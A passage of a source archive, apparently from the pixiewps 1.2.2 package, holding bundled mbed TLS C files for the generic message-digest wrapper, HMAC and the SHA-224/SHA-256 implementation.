); } dst->md_info->clone_func( dst->md_ctx, src->md_ctx ); return( 0 ); } #if ! defined(MBEDTLS_DEPRECATED_REMOVED) int mbedtls_md_init_ctx( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info ) { return mbedtls_md_setup( ctx, md_info, 1 ); } #endif int mbedtls_md_setup( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info, int hmac ) { if( md_info == NULL || ctx == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); if( ( ctx->md_ctx = md_info->ctx_alloc_func() ) == NULL ) return( MBEDTLS_ERR_MD_ALLOC_FAILED ); if( hmac != 0 ) { ctx->hmac_ctx = mbedtls_calloc( 2, md_info->block_size ); if( ctx->hmac_ctx == NULL ) { md_info->ctx_free_func( ctx->md_ctx ); return( MBEDTLS_ERR_MD_ALLOC_FAILED ); } } ctx->md_info = md_info; return( 0 ); } int mbedtls_md_starts( mbedtls_md_context_t *ctx ) { if( ctx == NULL || ctx->md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); ctx->md_info->starts_func( ctx->md_ctx ); return( 0 ); } int mbedtls_md_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ) { if( ctx == NULL || ctx->md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); ctx->md_info->update_func( ctx->md_ctx, input, ilen ); return( 0 ); } int mbedtls_md_finish( mbedtls_md_context_t *ctx, unsigned char *output ) { if( ctx == NULL || ctx->md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); ctx->md_info->finish_func( ctx->md_ctx, output ); return( 0 ); } int mbedtls_md( const mbedtls_md_info_t *md_info, const unsigned char *input, size_t ilen, unsigned char *output ) { if( md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); md_info->digest_func( input, ilen, output ); return( 0 ); } #if defined(MBEDTLS_FS_IO) int mbedtls_md_file( const mbedtls_md_info_t *md_info, const char *path, unsigned char *output ) { int ret; FILE *f; size_t n; mbedtls_md_context_t ctx; unsigned char buf[1024]; if( md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); if( ( f = fopen( path, "rb" ) ) == NULL ) return( MBEDTLS_ERR_MD_FILE_IO_ERROR ); mbedtls_md_init( &ctx ); if( ( ret = mbedtls_md_setup( &ctx, md_info, 0 ) ) != 0 ) goto cleanup; md_info->starts_func( ctx.md_ctx ); while( ( n = fread( buf, 1, sizeof( buf ), f ) ) > 0 ) md_info->update_func( ctx.md_ctx, buf, n ); if( ferror( f ) != 0 ) { ret = MBEDTLS_ERR_MD_FILE_IO_ERROR; goto cleanup; } md_info->finish_func( ctx.md_ctx, output ); cleanup: fclose( f ); mbedtls_md_free( &ctx ); return( ret ); } #endif /* MBEDTLS_FS_IO */ int mbedtls_md_hmac_starts( mbedtls_md_context_t *ctx, const unsigned char *key, size_t keylen ) { unsigned char sum[MBEDTLS_MD_MAX_SIZE]; unsigned char *ipad, *opad; size_t i; if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); if( keylen > (size_t) ctx->md_info->block_size ) { ctx->md_info->starts_func( ctx->md_ctx ); ctx->md_info->update_func( ctx->md_ctx, key, keylen ); ctx->md_info->finish_func( ctx->md_ctx, sum ); keylen = ctx->md_info->size; key = sum; } ipad = (unsigned char *) ctx->hmac_ctx; opad = (unsigned char *) ctx->hmac_ctx + ctx->md_info->block_size; memset( ipad, 0x36, ctx->md_info->block_size ); memset( opad, 0x5C, ctx->md_info->block_size ); for( i = 0; i < keylen; i++ ) { ipad[i] = (unsigned char)( ipad[i] ^ key[i] ); opad[i] = (unsigned char)( opad[i] ^ key[i] ); } mbedtls_zeroize( sum, sizeof( sum ) ); ctx->md_info->starts_func( ctx->md_ctx ); ctx->md_info->update_func( ctx->md_ctx, ipad, ctx->md_info->block_size ); return( 0 ); } int mbedtls_md_hmac_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ) { if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); ctx->md_info->update_func( ctx->md_ctx, input, ilen ); return( 0 ); } int mbedtls_md_hmac_finish( mbedtls_md_context_t *ctx, unsigned char *output ) { unsigned char tmp[MBEDTLS_MD_MAX_SIZE]; unsigned char *opad; if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); opad = (unsigned char *) ctx->hmac_ctx + ctx->md_info->block_size; ctx->md_info->finish_func( ctx->md_ctx, tmp ); ctx->md_info->starts_func( ctx->md_ctx ); ctx->md_info->update_func( ctx->md_ctx, opad, ctx->md_info->block_size ); ctx->md_info->update_func( ctx->md_ctx, tmp, ctx->md_info->size ); ctx->md_info->finish_func( ctx->md_ctx, output ); return( 0 ); } int mbedtls_md_hmac_reset( mbedtls_md_context_t *ctx ) { unsigned char *ipad; if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); ipad = (unsigned char *) ctx->hmac_ctx; ctx->md_info->starts_func( ctx->md_ctx ); ctx->md_info->update_func( ctx->md_ctx, ipad, ctx->md_info->block_size ); return( 0 ); } int mbedtls_md_hmac( const mbedtls_md_info_t *md_info, const unsigned char *key, size_t keylen, const unsigned char *input, size_t ilen, unsigned char *output ) { mbedtls_md_context_t ctx; int ret; if( md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); mbedtls_md_init( &ctx ); if( ( ret = mbedtls_md_setup( &ctx, md_info, 1 ) ) != 0 ) return( ret ); mbedtls_md_hmac_starts( &ctx, key, keylen ); mbedtls_md_hmac_update( &ctx, input, ilen ); mbedtls_md_hmac_finish( &ctx, output ); mbedtls_md_free( &ctx ); return( 0 ); } int mbedtls_md_process( mbedtls_md_context_t *ctx, const unsigned char *data ) { if( ctx == NULL || ctx->md_info == NULL ) return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); ctx->md_info->process_func( ctx->md_ctx, data ); return( 0 ); } unsigned char mbedtls_md_get_size( const mbedtls_md_info_t *md_info ) { if( md_info == NULL ) return( 0 ); return md_info->size; } mbedtls_md_type_t mbedtls_md_get_type( const mbedtls_md_info_t *md_info ) { if( md_info == NULL ) return( MBEDTLS_MD_NONE ); return md_info->type; } const char *mbedtls_md_get_name( const mbedtls_md_info_t *md_info ) { if( md_info == NULL ) return( NULL ); return md_info->name; } pixiewps-1.2.2/src/crypto/md.h000066400000000000000000000271441276270077300162670ustar00rootroot00000000000000/** * \file mbedtls_md.h * * \brief Generic message digest wrapper * * \author Adriaan de Jong * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #ifndef MBEDTLS_MD_H #define MBEDTLS_MD_H #include #define MBEDTLS_ERR_MD_FEATURE_UNAVAILABLE -0x5080 /**< The selected feature is not available. */ #define MBEDTLS_ERR_MD_BAD_INPUT_DATA -0x5100 /**< Bad input parameters to function. */ #define MBEDTLS_ERR_MD_ALLOC_FAILED -0x5180 /**< Failed to allocate memory. */ #define MBEDTLS_ERR_MD_FILE_IO_ERROR -0x5200 /**< Opening or reading of file failed. */ typedef enum { MBEDTLS_MD_NONE = 0, MBEDTLS_MD_SHA224, MBEDTLS_MD_SHA256, } mbedtls_md_type_t; #define MBEDTLS_MD_MAX_SIZE 32 /* longest known is SHA256 or less */ /** * Opaque struct defined in md_internal.h */ typedef struct mbedtls_md_info_t mbedtls_md_info_t; /** * Generic message digest context. */ typedef struct { /** Information about the associated message digest */ const mbedtls_md_info_t *md_info; /** Digest-specific context */ void *md_ctx; /** HMAC part of the context */ void *hmac_ctx; } mbedtls_md_context_t; /** * \brief Returns the list of digests supported by the generic digest module. * * \return a statically allocated array of digests, the last entry * is 0. */ const int *mbedtls_md_list( void ); /** * \brief Returns the message digest information associated with the * given digest name. * * \param md_name Name of the digest to search for. * * \return The message digest information associated with md_name or * NULL if not found. */ const mbedtls_md_info_t *mbedtls_md_info_from_string( const char *md_name ); /** * \brief Returns the message digest information associated with the * given digest type. * * \param md_type type of digest to search for. * * \return The message digest information associated with md_type or * NULL if not found. */ const mbedtls_md_info_t *mbedtls_md_info_from_type( mbedtls_md_type_t md_type ); /** * \brief Initialize a md_context (as NONE) * This should always be called first. * Prepares the context for mbedtls_md_setup() or mbedtls_md_free(). */ void mbedtls_md_init( mbedtls_md_context_t *ctx ); /** * \brief Free and clear the internal structures of ctx. * Can be called at any time after mbedtls_md_init(). * Mandatory once mbedtls_md_setup() has been called. */ void mbedtls_md_free( mbedtls_md_context_t *ctx ); #if ! defined(MBEDTLS_DEPRECATED_REMOVED) #if defined(MBEDTLS_DEPRECATED_WARNING) #define MBEDTLS_DEPRECATED __attribute__((deprecated)) #else #define MBEDTLS_DEPRECATED #endif /** * \brief Select MD to use and allocate internal structures. * Should be called after mbedtls_md_init() or mbedtls_md_free(). * Makes it necessary to call mbedtls_md_free() later. * * \deprecated Superseded by mbedtls_md_setup() in 2.0.0 * * \param ctx Context to set up. * \param md_info Message digest to use. * * \returns \c 0 on success, * \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure, * \c MBEDTLS_ERR_MD_ALLOC_FAILED memory allocation failure. */ int mbedtls_md_init_ctx( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info ) MBEDTLS_DEPRECATED; #undef MBEDTLS_DEPRECATED #endif /* MBEDTLS_DEPRECATED_REMOVED */ /** * \brief Select MD to use and allocate internal structures. * Should be called after mbedtls_md_init() or mbedtls_md_free(). * Makes it necessary to call mbedtls_md_free() later. * * \param ctx Context to set up. * \param md_info Message digest to use. * \param hmac 0 to save some memory if HMAC will not be used, * non-zero is HMAC is going to be used with this context. * * \returns \c 0 on success, * \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure, * \c MBEDTLS_ERR_MD_ALLOC_FAILED memory allocation failure. */ int mbedtls_md_setup( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info, int hmac ); /** * \brief Clone the state of an MD context * * \note The two contexts must have been setup to the same type * (cloning from SHA-256 to SHA-512 make no sense). * * \warning Only clones the MD state, not the HMAC state! (for now) * * \param dst The destination context * \param src The context to be cloned * * \return \c 0 on success, * \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure. */ int mbedtls_md_clone( mbedtls_md_context_t *dst, const mbedtls_md_context_t *src ); /** * \brief Returns the size of the message digest output. * * \param md_info message digest info * * \return size of the message digest output in bytes. */ unsigned char mbedtls_md_get_size( const mbedtls_md_info_t *md_info ); /** * \brief Returns the type of the message digest output. * * \param md_info message digest info * * \return type of the message digest output. */ mbedtls_md_type_t mbedtls_md_get_type( const mbedtls_md_info_t *md_info ); /** * \brief Returns the name of the message digest output. * * \param md_info message digest info * * \return name of the message digest output. */ const char *mbedtls_md_get_name( const mbedtls_md_info_t *md_info ); /** * \brief Prepare the context to digest a new message. * Generally called after mbedtls_md_setup() or mbedtls_md_finish(). * Followed by mbedtls_md_update(). * * \param ctx generic message digest context. * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_starts( mbedtls_md_context_t *ctx ); /** * \brief Generic message digest process buffer * Called between mbedtls_md_starts() and mbedtls_md_finish(). * May be called repeatedly. * * \param ctx Generic message digest context * \param input buffer holding the datal * \param ilen length of the input data * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ); /** * \brief Generic message digest final digest * Called after mbedtls_md_update(). * Usually followed by mbedtls_md_free() or mbedtls_md_starts(). * * \param ctx Generic message digest context * \param output Generic message digest checksum result * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_finish( mbedtls_md_context_t *ctx, unsigned char *output ); /** * \brief Output = message_digest( input buffer ) * * \param md_info message digest info * \param input buffer holding the data * \param ilen length of the input data * \param output Generic message digest checksum result * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md( const mbedtls_md_info_t *md_info, const unsigned char *input, size_t ilen, unsigned char *output ); #if defined(MBEDTLS_FS_IO) /** * \brief Output = message_digest( file contents ) * * \param md_info message digest info * \param path input file name * \param output generic message digest checksum result * * \return 0 if successful, * MBEDTLS_ERR_MD_FILE_IO_ERROR if file input failed, * MBEDTLS_ERR_MD_BAD_INPUT_DATA if md_info was NULL. */ int mbedtls_md_file( const mbedtls_md_info_t *md_info, const char *path, unsigned char *output ); #endif /* MBEDTLS_FS_IO */ /** * \brief Set HMAC key and prepare to authenticate a new message. * Usually called after mbedtls_md_setup() or mbedtls_md_hmac_finish(). * * \param ctx HMAC context * \param key HMAC secret key * \param keylen length of the HMAC key in bytes * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_hmac_starts( mbedtls_md_context_t *ctx, const unsigned char *key, size_t keylen ); /** * \brief Generic HMAC process buffer. * Called between mbedtls_md_hmac_starts() or mbedtls_md_hmac_reset() * and mbedtls_md_hmac_finish(). * May be called repeatedly. * * \param ctx HMAC context * \param input buffer holding the data * \param ilen length of the input data * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_hmac_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ); /** * \brief Output HMAC. * Called after mbedtls_md_hmac_update(). * Usually followed my mbedtls_md_hmac_reset(), mbedtls_md_hmac_starts(), * or mbedtls_md_free(). * * \param ctx HMAC context * \param output Generic HMAC checksum result * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_hmac_finish( mbedtls_md_context_t *ctx, unsigned char *output); /** * \brief Prepare to authenticate a new message with the same key. * Called after mbedtls_md_hmac_finish() and before mbedtls_md_hmac_update(). * * \param ctx HMAC context to be reset * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_hmac_reset( mbedtls_md_context_t *ctx ); /** * \brief Output = Generic_HMAC( hmac key, input buffer ) * * \param md_info message digest info * \param key HMAC secret key * \param keylen length of the HMAC key in bytes * \param input buffer holding the data * \param ilen length of the input data * \param output Generic HMAC-result * * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter * verification fails. */ int mbedtls_md_hmac( const mbedtls_md_info_t *md_info, const unsigned char *key, size_t keylen, const unsigned char *input, size_t ilen, unsigned char *output ); /* Internal use */ int mbedtls_md_process( mbedtls_md_context_t *ctx, const unsigned char *data ); #endif /* MBEDTLS_MD_H */ pixiewps-1.2.2/src/crypto/md_internal.h000066400000000000000000000044101276270077300201520ustar00rootroot00000000000000/** * \file md_internal.h * * \brief Message digest wrappers. * * \warning This in an internal header. Do not include directly. * * \author Adriaan de Jong * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #ifndef MBEDTLS_MD_WRAP_H #define MBEDTLS_MD_WRAP_H #include "md.h" /** * Message digest information. * Allows message digest functions to be called in a generic way. */ struct mbedtls_md_info_t { /** Digest identifier */ mbedtls_md_type_t type; /** Name of the message digest */ const char * name; /** Output length of the digest function in bytes */ int size; /** Block length of the digest function in bytes */ int block_size; /** Digest initialisation function */ void (*starts_func)( void *ctx ); /** Digest update function */ void (*update_func)( void *ctx, const unsigned char *input, size_t ilen ); /** Digest finalisation function */ void (*finish_func)( void *ctx, unsigned char *output ); /** Generic digest function */ void (*digest_func)( const unsigned char *input, size_t ilen, unsigned char *output ); /** Allocate a new context */ void * (*ctx_alloc_func)( void ); /** Free the given context */ void (*ctx_free_func)( void *ctx ); /** Clone state from a context */ void (*clone_func)( void *dst, const void *src ); /** Internal use only */ void (*process_func)( void *ctx, const unsigned char *input ); }; extern const mbedtls_md_info_t mbedtls_sha224_info; extern const mbedtls_md_info_t mbedtls_sha256_info; #endif /* MBEDTLS_MD_WRAP_H */ pixiewps-1.2.2/src/crypto/md_wrap.c000066400000000000000000000060671276270077300173140ustar00rootroot00000000000000/** * \file md_wrap.c * * \brief Generic message digest wrapper for mbed TLS * * \author Adriaan de Jong * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #include #include "md_internal.h" #include "sha256.h" #define mbedtls_calloc calloc #define mbedtls_free free static void sha224_starts_wrap( void *ctx ) { mbedtls_sha256_starts( (mbedtls_sha256_context *) ctx, 1 ); } static void sha224_update_wrap( void *ctx, const unsigned char *input, size_t ilen ) { mbedtls_sha256_update( (mbedtls_sha256_context *) ctx, input, ilen ); } static void sha224_finish_wrap( void *ctx, unsigned char *output ) { mbedtls_sha256_finish( (mbedtls_sha256_context *) ctx, output ); } static void sha224_wrap( const unsigned char *input, size_t ilen, unsigned char *output ) { mbedtls_sha256( input, ilen, output, 1 ); } static void *sha224_ctx_alloc( void ) { void *ctx = mbedtls_calloc( 1, sizeof( mbedtls_sha256_context ) ); if( ctx != NULL ) mbedtls_sha256_init( (mbedtls_sha256_context *) ctx ); return( ctx ); } static void sha224_ctx_free( void *ctx ) { mbedtls_sha256_free( (mbedtls_sha256_context *) ctx ); mbedtls_free( ctx ); } static void sha224_clone_wrap( void *dst, const void *src ) { mbedtls_sha256_clone( (mbedtls_sha256_context *) dst, (const mbedtls_sha256_context *) src ); } static void sha224_process_wrap( void *ctx, const unsigned char *data ) { mbedtls_sha256_process( (mbedtls_sha256_context *) ctx, data ); } const mbedtls_md_info_t mbedtls_sha224_info = { MBEDTLS_MD_SHA224, "SHA224", 28, 64, sha224_starts_wrap, sha224_update_wrap, sha224_finish_wrap, sha224_wrap, sha224_ctx_alloc, sha224_ctx_free, sha224_clone_wrap, sha224_process_wrap, }; static void sha256_starts_wrap( void *ctx ) { mbedtls_sha256_starts( (mbedtls_sha256_context *) ctx, 0 ); } static void sha256_wrap( const unsigned char *input, size_t ilen, unsigned char *output ) { mbedtls_sha256( input, ilen, output, 0 ); } const mbedtls_md_info_t mbedtls_sha256_info = { MBEDTLS_MD_SHA256, "SHA256", 32, 64, sha256_starts_wrap, sha224_update_wrap, sha224_finish_wrap, sha256_wrap, sha224_ctx_alloc, sha224_ctx_free, sha224_clone_wrap, sha224_process_wrap, }; pixiewps-1.2.2/src/crypto/sha256.c000066400000000000000000000230151276270077300166630ustar00rootroot00000000000000/* * FIPS-180-2 compliant SHA-256 implementation * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ /* * The SHA-256 Secure Hash Standard was published by NIST in 2002. * * http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf */ #include #include #include #include "sha256.h" /* Implementation that should never be optimized out by the compiler */ static void mbedtls_zeroize( void *v, size_t n ) { volatile unsigned char *p = v; while( n-- ) *p++ = 0; } /* * 32-bit integer manipulation macros (big endian) */ #ifndef GET_UINT32_BE #define GET_UINT32_BE(n,b,i) \ do { \ (n) = ( (uint32_t) (b)[(i) ] << 24 ) \ | ( (uint32_t) (b)[(i) + 1] << 16 ) \ | ( (uint32_t) (b)[(i) + 2] << 8 ) \ | ( (uint32_t) (b)[(i) + 3] ); \ } while( 0 ) #endif #ifndef PUT_UINT32_BE #define PUT_UINT32_BE(n,b,i) \ do { \ (b)[(i) ] = (unsigned char) ( (n) >> 24 ); \ (b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \ (b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \ (b)[(i) + 3] = (unsigned char) ( (n) ); \ } while( 0 ) #endif void mbedtls_sha256_init( mbedtls_sha256_context *ctx ) { memset( ctx, 0, sizeof( mbedtls_sha256_context ) ); } void mbedtls_sha256_free( mbedtls_sha256_context *ctx ) { if( ctx == NULL ) return; mbedtls_zeroize( ctx, sizeof( mbedtls_sha256_context ) ); } void mbedtls_sha256_clone( mbedtls_sha256_context *dst, const mbedtls_sha256_context *src ) { *dst = *src; } /* * SHA-256 context setup */ void mbedtls_sha256_starts( mbedtls_sha256_context *ctx, int is224 ) { ctx->total[0] = 0; ctx->total[1] = 0; if( is224 == 0 ) { /* SHA-256 */ ctx->state[0] = 0x6A09E667; ctx->state[1] = 0xBB67AE85; ctx->state[2] = 0x3C6EF372; ctx->state[3] = 0xA54FF53A; ctx->state[4] = 0x510E527F; ctx->state[5] = 0x9B05688C; ctx->state[6] = 0x1F83D9AB; ctx->state[7] = 0x5BE0CD19; } else { /* SHA-224 */ ctx->state[0] = 0xC1059ED8; ctx->state[1] = 0x367CD507; ctx->state[2] = 0x3070DD17; ctx->state[3] = 0xF70E5939; ctx->state[4] = 0xFFC00B31; ctx->state[5] = 0x68581511; ctx->state[6] = 0x64F98FA7; ctx->state[7] = 0xBEFA4FA4; } ctx->is224 = is224; } #if !defined(MBEDTLS_SHA256_PROCESS_ALT) static const uint32_t K[] = { 0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2, }; #define SHR(x,n) ((x & 0xFFFFFFFF) >> n) #define ROTR(x,n) (SHR(x,n) | (x << (32 - n))) #define S0(x) (ROTR(x, 7) ^ ROTR(x,18) ^ SHR(x, 3)) #define S1(x) (ROTR(x,17) ^ ROTR(x,19) ^ SHR(x,10)) #define S2(x) (ROTR(x, 2) ^ ROTR(x,13) ^ ROTR(x,22)) #define S3(x) (ROTR(x, 6) ^ ROTR(x,11) ^ ROTR(x,25)) #define F0(x,y,z) ((x & y) | (z & (x | y))) #define F1(x,y,z) (z ^ (x & (y ^ z))) #define R(t) \ ( \ W[t] = S1(W[t - 2]) + W[t - 7] + \ S0(W[t - 15]) + W[t - 16] \ ) #define P(a,b,c,d,e,f,g,h,x,K) \ { \ temp1 = h + S3(e) + F1(e,f,g) + K + x; \ temp2 = S2(a) + F0(a,b,c); \ d += temp1; h = temp1 + temp2; \ } void mbedtls_sha256_process( mbedtls_sha256_context *ctx, const unsigned char data[64] ) { uint32_t temp1, temp2, W[64]; uint32_t A[8]; unsigned int i; for( i = 0; i < 8; i++ ) A[i] = ctx->state[i]; #if defined(MBEDTLS_SHA256_SMALLER) for( i = 0; i < 64; i++ ) { if( i < 16 ) GET_UINT32_BE( W[i], data, 4 * i ); else R( i ); P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], W[i], K[i] ); temp1 = A[7]; A[7] = A[6]; A[6] = A[5]; A[5] = A[4]; A[4] = A[3]; A[3] = A[2]; A[2] = A[1]; A[1] = A[0]; A[0] = temp1; } #else /* MBEDTLS_SHA256_SMALLER */ for( i = 0; i < 16; i++ ) GET_UINT32_BE( W[i], data, 4 * i ); for( i = 0; i < 16; i += 8 ) { P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], W[i+0], K[i+0] ); P( A[7], A[0], A[1], A[2], A[3], A[4], A[5], A[6], W[i+1], K[i+1] ); P( A[6], A[7], A[0], A[1], A[2], A[3], A[4], A[5], W[i+2], K[i+2] ); P( A[5], A[6], A[7], A[0], A[1], A[2], A[3], A[4], W[i+3], K[i+3] ); P( A[4], A[5], A[6], A[7], A[0], A[1], A[2], A[3], W[i+4], K[i+4] ); P( A[3], A[4], A[5], A[6], A[7], A[0], A[1], A[2], W[i+5], K[i+5] ); P( A[2], A[3], A[4], A[5], A[6], A[7], A[0], A[1], W[i+6], K[i+6] ); P( A[1], A[2], A[3], A[4], A[5], A[6], A[7], A[0], W[i+7], K[i+7] ); } for( i = 16; i < 64; i += 8 ) { P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], R(i+0), K[i+0] ); P( A[7], A[0], A[1], A[2], A[3], A[4], A[5], A[6], R(i+1), K[i+1] ); P( A[6], A[7], A[0], A[1], A[2], A[3], A[4], A[5], R(i+2), K[i+2] ); P( A[5], A[6], A[7], A[0], A[1], A[2], A[3], A[4], R(i+3), K[i+3] ); P( A[4], A[5], A[6], A[7], A[0], A[1], A[2], A[3], R(i+4), K[i+4] ); P( A[3], A[4], A[5], A[6], A[7], A[0], A[1], A[2], R(i+5), K[i+5] ); P( A[2], A[3], A[4], A[5], A[6], A[7], A[0], A[1], R(i+6), K[i+6] ); P( A[1], A[2], A[3], A[4], A[5], A[6], A[7], A[0], R(i+7), K[i+7] ); } #endif /* MBEDTLS_SHA256_SMALLER */ for( i = 0; i < 8; i++ ) ctx->state[i] += A[i]; } /* * SHA-256 process buffer */ void mbedtls_sha256_update( mbedtls_sha256_context *ctx, const unsigned char *input, size_t ilen ) { size_t fill; uint32_t left; if( ilen == 0 ) return; left = ctx->total[0] & 0x3F; fill = 64 - left; ctx->total[0] += (uint32_t) ilen; ctx->total[0] &= 0xFFFFFFFF; if( ctx->total[0] < (uint32_t) ilen ) ctx->total[1]++; if( left && ilen >= fill ) { memcpy( (void *) (ctx->buffer + left), input, fill ); mbedtls_sha256_process( ctx, ctx->buffer ); input += fill; ilen -= fill; left = 0; } while( ilen >= 64 ) { mbedtls_sha256_process( ctx, input ); input += 64; ilen -= 64; } if( ilen > 0 ) memcpy( (void *) (ctx->buffer + left), input, ilen ); } static const unsigned char sha256_padding[64] = { 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; /* * SHA-256 final digest */ void mbedtls_sha256_finish( mbedtls_sha256_context *ctx, unsigned char output[32] ) { uint32_t last, padn; uint32_t high, low; unsigned char msglen[8]; high = ( ctx->total[0] >> 29 ) | ( ctx->total[1] << 3 ); low = ( ctx->total[0] << 3 ); PUT_UINT32_BE( high, msglen, 0 ); PUT_UINT32_BE( low, msglen, 4 ); last = ctx->total[0] & 0x3F; padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); mbedtls_sha256_update( ctx, sha256_padding, padn ); mbedtls_sha256_update( ctx, msglen, 8 ); PUT_UINT32_BE( ctx->state[0], output, 0 ); PUT_UINT32_BE( ctx->state[1], output, 4 ); PUT_UINT32_BE( ctx->state[2], output, 8 ); PUT_UINT32_BE( ctx->state[3], output, 12 ); PUT_UINT32_BE( ctx->state[4], output, 16 ); PUT_UINT32_BE( ctx->state[5], output, 20 ); PUT_UINT32_BE( ctx->state[6], output, 24 ); if( ctx->is224 == 0 ) PUT_UINT32_BE( ctx->state[7], output, 28 ); } #endif /* !MBEDTLS_SHA256_ALT */ /* * output = SHA-256( input buffer ) 